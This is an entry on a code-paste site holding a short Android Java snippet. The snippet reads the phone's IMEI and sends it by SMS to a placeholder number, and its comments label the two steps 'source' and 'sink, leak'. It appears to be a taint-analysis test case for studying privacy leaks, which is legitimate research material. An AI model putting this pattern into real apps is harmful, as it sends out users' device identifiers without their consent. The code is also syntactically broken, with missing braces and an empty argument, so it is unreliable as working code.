Demo entry 6682462



Submitted by anonymous on Dec 08, 2017 at 16:11
Language: Java. Code size: 713 Bytes.

public class MainActivity extends Activity {

	protected void onCreate(Bundle savedInstanceState) {
        TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
		String imei = telephonyManager.getDeviceId(); //source
    	SmsManager sms = SmsManager.getDefault();
        sms.sendTextMessage("+49", null, imei, null, null);  //sink, leak

	public boolean onCreateOptionsMenu(Menu menu) {
		// Inflate the menu; this adds items to the action bar if it is present.
		getMenuInflater().inflate(, menu);
		return true;


This snippet took 0.00 seconds to highlight.

Back to the Entry List or Home.

Delete this entry (admin only).